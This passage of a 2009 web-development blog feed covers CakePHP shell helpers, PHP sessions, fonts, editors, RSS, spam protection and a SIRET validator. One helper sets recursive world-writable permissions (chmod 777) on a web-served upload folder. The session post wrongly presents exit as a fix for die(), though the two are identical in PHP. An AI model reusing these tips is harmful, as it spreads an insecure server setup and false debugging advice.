&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;[hooks]&#92;nupdate = ~/cakeClearCache.sh&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./.hg/hgrc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So instead of doing hg init, just do hgInitStart. You can then start cloning
your project here.&lt;/p&gt;
&lt;p&gt;And one last thing, I also created a method that will set correct chmod to
app/tmp and app/webroot/files&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cakeCorrectChmod&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 777&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./app/tmp&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -R&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 777&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./app/webroot/files&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -R&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And created a wrapper around it to call just after having cloned the project
that will update it and set the correct chmods&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;hgInitEnd&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; hg&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; update&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; cakeCorrectChmod&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&#39;s all. I bet anyone slightly more experienced in shell scripting could do
better than that, but as I have struggled a little to get this right I thought I
could share it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Locked sessions in cakePHP</title>
    <link href="https://blog.pixelastic.com/2009/09/30/locked-sessions-in-cakephp/"/>
    <updated>2009-09-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/09/30/locked-sessions-in-cakephp</id>
    <content type="html">&lt;p&gt;I was working on a component heavily using session and was having trouble
debugging it. First I could&#39;nt find where my session files where saved on my
server.&lt;/p&gt;
&lt;p&gt;Well, it was because I hadn&#39;t set the session.save_path value in my php.ini.&lt;/p&gt;
&lt;p&gt;But now that is was done, it seems like I had locked sessions files that I
wasn&#39;t able to access (I couldn&#39;t even read them using a editor). The problem
was that I was using die() in my component script to help debugging the process.&lt;/p&gt;
&lt;p&gt;And that was BAD. die() stopped the whole process, even if the session file was
opened for writing, locking it until the process died. What was the correct way
to halt my script was using exit;&lt;/p&gt;
&lt;p&gt;Hope that helped&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Polices de caractère !</title>
    <link href="https://blog.pixelastic.com/2009/09/02/polices-de-caractere/"/>
    <updated>2009-09-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/09/02/polices-de-caractere</id>
    <content type="html">&lt;p&gt;Ah elles en ont du caractère ces polices ! Elle m&#39;en font voir de toutes les
couleurs...&lt;/p&gt;
&lt;p&gt;Pour l&#39;intégration sur laquelle je travaille, certains titres utilisent une
police spéciale, et pour intégrer ça grâce ) @font-face et Cufon, il me faut les
fichiers de police sous différents formats.&lt;/p&gt;
&lt;p&gt;La graphiste m&#39;a fournie la police, sous format .dfont (package de plusieurs
font à la sauce Mac). J&#39;ai pu extraire le package grâce à
&lt;a href=&quot;http://peter.upfold.org.uk/projects/dfontsplitter&quot;&gt;DFontSplitter&lt;/a&gt;, ce qui m&#39;a
donné plein de polices .ttf.&lt;/p&gt;
&lt;p&gt;Corrompues, d&#39;ailleurs, qu&#39;il m&#39;a fallu réparer grâce à
&lt;a href=&quot;http://www.acutesystems.com/sharecf.htm&quot;&gt;CrossFont&lt;/a&gt; (attention shareware de 15
jours). Sauf qu&#39;il me convertit les fichiers en .otf.&lt;/p&gt;
&lt;p&gt;Pas de soucis pour Firefox, Safari et Opera qui comprennent ce format très bien,
mais pour IE, je dois convertir ça en &lt;code&gt;.eot&lt;/code&gt; (grâce à
&lt;a href=&quot;http://www.cuvou.com/wizards/ttf2eot.cgi&quot;&gt;ce converter en ligne&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Qui ne prends malheureusement que des &lt;code&gt;.ttf&lt;/code&gt; comme source... Impossible de
trouver un converter otf =&amp;gt; ttf sous windows qui ne demande pas d&#39;installer des
tas de choses, je suis donc passé sous mon Ubuntu, ai téléchargé FontForge :
Open =&amp;gt; Generate Font =&amp;gt; ttf et voila&lt;/p&gt;
&lt;p&gt;Edit : Et hop, &lt;a href=&quot;http://onlinefontconverter.com/&quot;&gt;un autre converter&lt;/a&gt; en ligne de
plus (otf, ttf, dfont)&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Komodo Edit</title>
    <link href="https://blog.pixelastic.com/2009/03/25/komodo-edit/"/>
    <updated>2009-03-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/03/25/komodo-edit</id>
    <content type="html">&lt;p&gt;J&#39;ai utilisé de nombreux éditeurs depuis que j&#39;ai commencé à coder, et au fil du
temps j&#39;ai changé. Souvent parce qu&#39;un bug particulier de ma version me
dérangeait beaucoup, ou parce que j&#39;avais besoin d&#39;une fonctionnalité que je ne
pouvais trouver que chez un concurrent.&lt;/p&gt;
&lt;p&gt;Je suis resté très longtemps sur Webexpert, fais un court passage par Aptana,
avant de rester pendant les quelques dernières années sur Intype. Et
aujourd&#39;hui, je viens de découvrir Komodo Edit.&lt;/p&gt;
&lt;p&gt;Webexpert avait tout ce dont j&#39;avais besoin il y a quelques années, mais il
plantait sans raison assez souvent. Et quand je voyais ce que pouvais proposer
un logiciel comme Aptana avec son parseur intégré, son autocomplete de code, etc
je me disais que j&#39;étais vraiment à la préhistoire.&lt;/p&gt;
&lt;p&gt;J&#39;ai donc essayé Aptana, mais je m&#39;en suis vite lassé, c&#39;est une usine à gaz. Il
sait certes tout faire mais il était lent, et j&#39;avais besoin de pouvoir m&#39;en
servir rapidement.&lt;/p&gt;
&lt;p&gt;Je suis donc passé à Intype, qui est très léger et qui possédait exactement tout
ce dont j&#39;avais besoin et il le faisait bien. C&#39;était aussi le premier éditeur
qui me permettait d&#39;enregistrer mes fichiers correctement en UTF-8. Ses
colorations syntaxiques étaient très claires, son système d&#39;indentation était
parfait, bref que du bon.&lt;/p&gt;
&lt;p&gt;Il n&#39;avait pas d&#39;autocomplete de code, ou alors je n&#39;ai pas réussi à m&#39;en
servir, mais ça m&#39;allait bien. Son seul défaut était l&#39;absence d&#39;une fonction de
recherche dans plusieurs fichiers.&lt;/p&gt;
&lt;p&gt;Aujourd&#39;hui je viens de passer à Komodo Edit car j&#39;avais déjà vu en m&#39;en servant
brievement qu&#39;il avait une bonne gestion des commentaires multilignes qu&#39;il
identifiait tout seul et rendait leur écriture plus simple.&lt;/p&gt;
&lt;p&gt;Et là je suis en train de m&#39;en servir et je suis bluffé par le nombre d&#39;atouts
qu&#39;il a ! Déjà j&#39;ai pu retrouver le même theme de couleurs que celui que j&#39;avais
sur Intype, il gère aussi bien l&#39;indentation et enregistre parfaitement en utf8.
Jusqu&#39;ici, il est du niveau d&#39;Intype.&lt;/p&gt;
&lt;p&gt;Voici la liste des points positifs supplémentaires au fur et à mesure que je
m&#39;en sers :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il a un parseur PHP intégré, il m&#39;a souligné une ligne en erreur, en
m&#39;indiquant l&#39;erreur !&lt;/li&gt;
&lt;li&gt;L&#39;autocomplete m&#39;a l&#39;air pas mal foutu, il va chercher dans la liste des
fonctions et variables que j&#39;ai définies, ainsi que dans la liste des
fonctions intégrées de PHP.&lt;/li&gt;
&lt;li&gt;C&#39;est extremement pratique pour les str_replace, explode et autres fonctions
dont je ne me souviens jamais de l&#39;ordre des arguments, parce qu&#39;il me les
affiche ainsi qu&#39;une petite explication !&lt;/li&gt;
&lt;li&gt;Avec Ctrl+Espace, il peut me terminer un mot que j&#39;ai commencé s&#39;il trouve une
correspondance avec les fonctions que j&#39;ai définies&lt;/li&gt;
&lt;li&gt;Il me liste même toutes les méthodes d&#39;un modèle quand je tape le nom de ce
modèle. Avec la description et la liste des paramètres tirée de mes propres
commentaires&lt;/li&gt;
&lt;li&gt;Il ajoute automatiquement les } de fermeture quand on les ouvre&lt;/li&gt;
&lt;li&gt;Il enlève automatiquement les espaces qui trainent à la fin d&#39;un fichier. Ca
aussi je sens que je vais aimer, vu le nombre de fois où j&#39;ai eu des problèmes
de &amp;quot;headers already defined&amp;quot; à cause de problème de ce genre !&lt;/li&gt;
&lt;li&gt;En passant mon curseur sur une couleur en hexadecimal et en appuyant sur Ctrl,
il me donne un apercu de la couleur. Vraiment pratique en CSS&lt;/li&gt;
&lt;li&gt;ll me prévient en Javascript de mes array qui se terminent par des virgules,
ce qui fait bugguer IE. Pratique&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Gestion des flux RSS</title>
    <link href="https://blog.pixelastic.com/2009/03/01/caracole-gestion-des-flux-rss/"/>
    <updated>2009-03-01T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/03/01/caracole-gestion-des-flux-rss</id>
    <content type="html">&lt;p&gt;Cela faisait quelques temps que je souhaitais ajouter une gestion des flux RSS à
Caracole. J&#39;ai donc recherché du coté du RssHelper intégré à cakePHP et l&#39;ai
quelque peu modifié pour qu&#39;il s&#39;adapte à mes besoins.&lt;/p&gt;
&lt;p&gt;En effet, il manquait selon moi quelques fonctions extremement importantes pour
la génération d&#39;un flux complet, par exemple la possibilité de spécifier des
attributs aux différents noeuds, ou encore de passer le contenu entre balises&lt;/p&gt;
&lt;![CDATA[]]&gt;.
&lt;p&gt;Mais surtout la possibilité d&#39;ajouter des noeuds de façons récursive, la
fonction RssHelper::item() ne permettant d&#39;ajouter des noeuds qu&#39;à un seul
niveau.&lt;/p&gt;
&lt;p&gt;Bref, j&#39;ai revu tout cela dans ma propre version du Helper, avec une autre
fonction pratique pour ajouter un thumbnail à un post. Pour voir ce que cela
donne, et il vous suffit de vous abonner aux flus disponibles sur les pages du
blog ou sur la page &lt;a href=&quot;/realisations/&quot;&gt;Réalisations&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;J&#39;ai découvert la syntaxe d&#39;un flux RSS il y a seulement quelques jours, et je
n&#39;ai testé le résultat qu&#39;avec Netvibes, je pense donc qu&#39;il me faut me livrer à
quelques tests supplémentaires.&lt;/p&gt;
&lt;p&gt;En tout cas, il me suffit maintenant d&#39;ajouter une variable $rssFeed à un modèle
pour qu&#39;un flux RSS lui soit automatiquement généré (on peut préciser bien sur
les informations devant être affichées pour chaque modèle). Voila qui encore un
pas de plus pour Caracole :)&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Antispam des adresses mails</title>
    <link href="https://blog.pixelastic.com/2009/02/25/caracole-antispam-des-adresses-mails/"/>
    <updated>2009-02-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/25/caracole-antispam-des-adresses-mails</id>
    <content type="html">&lt;p&gt;&lt;strong&gt;Attention : Ce post n&#39;est plus d&#39;actualité. Je n&#39;utilise plus du tout cette
technique pour masquer les adresses mails car elle bloquait complétement la
lisibilité aux personnes sans Javascript. Je n&#39;ai pas encoe trouvé de meilleure
alternative pour le moment, néanmoins.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour faire suite au billet précédent, un autre problème que j&#39;ai rencontré dans
le développement des sites était un moyen sûr d&#39;empecher qu&#39;une adresse mail
exposée sur un site ne soit récupérée par des robots crawlers et ne deviennent
la cible de leurs spams.&lt;/p&gt;
&lt;p&gt;Je parse donc chaque texte affiché afin de remplacer les adresses mails par une
version cryptée, que Javascript décryptera à l&#39;affichage. A chaque affichage la
clé de cryptage est différente. Bon, l&#39;algorithme de cryptage est extremement
simple, c&#39;est juste une permutation alphabétique, chaque lettre est remplacée
par une autre. Et la clée est indiqué dans l&#39;attribut title de mon code généré.&lt;/p&gt;
&lt;p&gt;Il suffit d&#39;étudier le Javascript pour réussir à comprendre comment décrypter
les mails, mais cela demande que le robot ai intégré mon codage dans ses
paramètres, ce qui n&#39;est à priori pas le cas. Et quand bien même se serait le
cas, je changerai la façon de crypter la clé.&lt;/p&gt;
&lt;p&gt;Jetez un oeil au code source de cette page si vous le souhaitez pour voir
comment cette adresse : blabla@somewhere.com est écrite.&lt;/p&gt;
&lt;p&gt;Cela devrait être quelque chose de la forme :&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; title&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;97tasbw84fv6_q3pn5yirchya15nq.p9b_jziggtc40lfolwxxk@meo26m70zj2d-sur@hev8u1-dk.3&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;protectFromSpam&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;noscript&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;icon icon_notice&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    Cette adresse mail est protégée contre le spam, vous devez activer Javascript pour pouvoir la voir.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;cryptedMail&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;ageh9gxvw1bag4342e&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bon alors bien sur, cela nécessite Javascript activé, c&#39;est un gros défaut, je
l&#39;admets. Un message permet de ne pas laisser l&#39;utilisateur sans JS dans
l&#39;incompréhension, mais ça reste problématique malgré tout. Je n&#39;ai pas réussi à
faire mieux pour le moment.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Spam sur les commentaires</title>
    <link href="https://blog.pixelastic.com/2009/02/24/caracole-spam-sur-les-commentaires/"/>
    <updated>2009-02-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/24/caracole-spam-sur-les-commentaires</id>
    <content type="html">&lt;p&gt;Les trois derniers sites que j&#39;ai fait avec Caracole avaient tous un formulaire
de contact (nom, mail et texte, pour contacter le propriétaire du site).&lt;/p&gt;
&lt;p&gt;Et tous les trois se sont fait spammer rapidement une fois que le site est
arrivé dans les moteurs de recherche. J&#39;ai donc cherché moyen d&#39;empecher cela,
une façon de detecter les spammeurs.&lt;/p&gt;
&lt;p&gt;Alors, il existe bien sur &lt;a href=&quot;http://akismet.com/&quot;&gt;Akismet&lt;/a&gt;, qui marche du
tonnerre, mais qui est payant pour un usage professionnel, j&#39;ai donc d&#39;abord
cherché du coté des solutions gratuites.&lt;/p&gt;
&lt;p&gt;Il y a le projet &lt;a href=&quot;http://recaptcha.net/&quot;&gt;reCaptcha&lt;/a&gt;, qui en plus d&#39;empecher le
spam, permet d&#39;aider la numérisation de vieux livres, donc une assez bonne idée
mais qui ne semble pas disponible en français. C&#39;est malheureusement un
impératif sur les sites que je développais.&lt;/p&gt;
&lt;p&gt;J&#39;ai donc plutot retourné le problème dans ma tête et cherché un moyen facile et
ingénieux de faire la différence entre un humain et un bot. J&#39;ai finalement opté
pour un champ caché au sein du formulaire qui doit absolument rester vide. Un
bot le remplira automatiquement, un humain le laissera vide.&lt;/p&gt;
&lt;p&gt;J&#39;avais tout d&#39;abord mis ce champ en type=&amp;quot;hidden&amp;quot; et cela semblait fonctionner,
mais de plus récents spams me l&#39;ont fait passer en  display:none par CSS et je
n&#39;ai pas eu de nouveau spam depuis. Je continuerai de peaufiner le système
jusqu&#39;à ce que je trouve un blocage parfait ou que j&#39;en ai marre et que je me
tourne vers Akismet :)&lt;/p&gt;
&lt;p&gt;Pour le moment, je loggue toutes les demandes de contact avec les informations
du Header, afin d&#39;identifier certains patterns qui pourraient me permettre de
trouver plus facilement les spammeurs dans le lot.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Export des adresses mails</title>
    <link href="https://blog.pixelastic.com/2009/02/23/caracole-export-des-adresses-mails/"/>
    <updated>2009-02-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/23/caracole-export-des-adresses-mails</id>
    <content type="html">&lt;p&gt;Je viens de rajouter une petite fonctionnalité sur Caracole qui permet
d&#39;exporter une liste d&#39;adresses mails (actuellement les personnes souhaitant
s&#39;abonner à une newsletter) dans un format exploitable par les logiciels de
messagerie et les webmail.&lt;/p&gt;
&lt;p&gt;La liste peut être exportée sous format vCard, ou encore CSV exploitable par
Outlook ou GMail.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Validation et génération de numero de SIRET</title>
    <link href="https://blog.pixelastic.com/2009/02/22/validation-et-generation-de-numero-de-siret/"/>
    <updated>2009-02-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/22/validation-et-generation-de-numero-de-siret</id>
    <content type="html">&lt;p&gt;Pour le projet sur lequel je travaille actuellement, je dois tester la validatée
d&#39;un numero de SIRET. D&#39;après [Wikipédia](http://fr.wikipedia.org/wi
ki/Syst%C3%A8me&lt;em&gt;d%E2%80%99identification_du_r%C3%A9pertoire_des&lt;/em&gt;%C3%A9tablisse
ments) les numéros de SIRET possèdent une clé finale permettant de vérifier
qu&#39;ils soient biens formés.&lt;/p&gt;
&lt;p&gt;J&#39;ai donc retranscris ce calcul sous une règle de validation pour cakePHP, le
voici :&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; validateSiret&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$field&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $siret&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; r&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39; &#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$field&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $sum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $tmp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (((&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; intval&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$siret&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $sum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
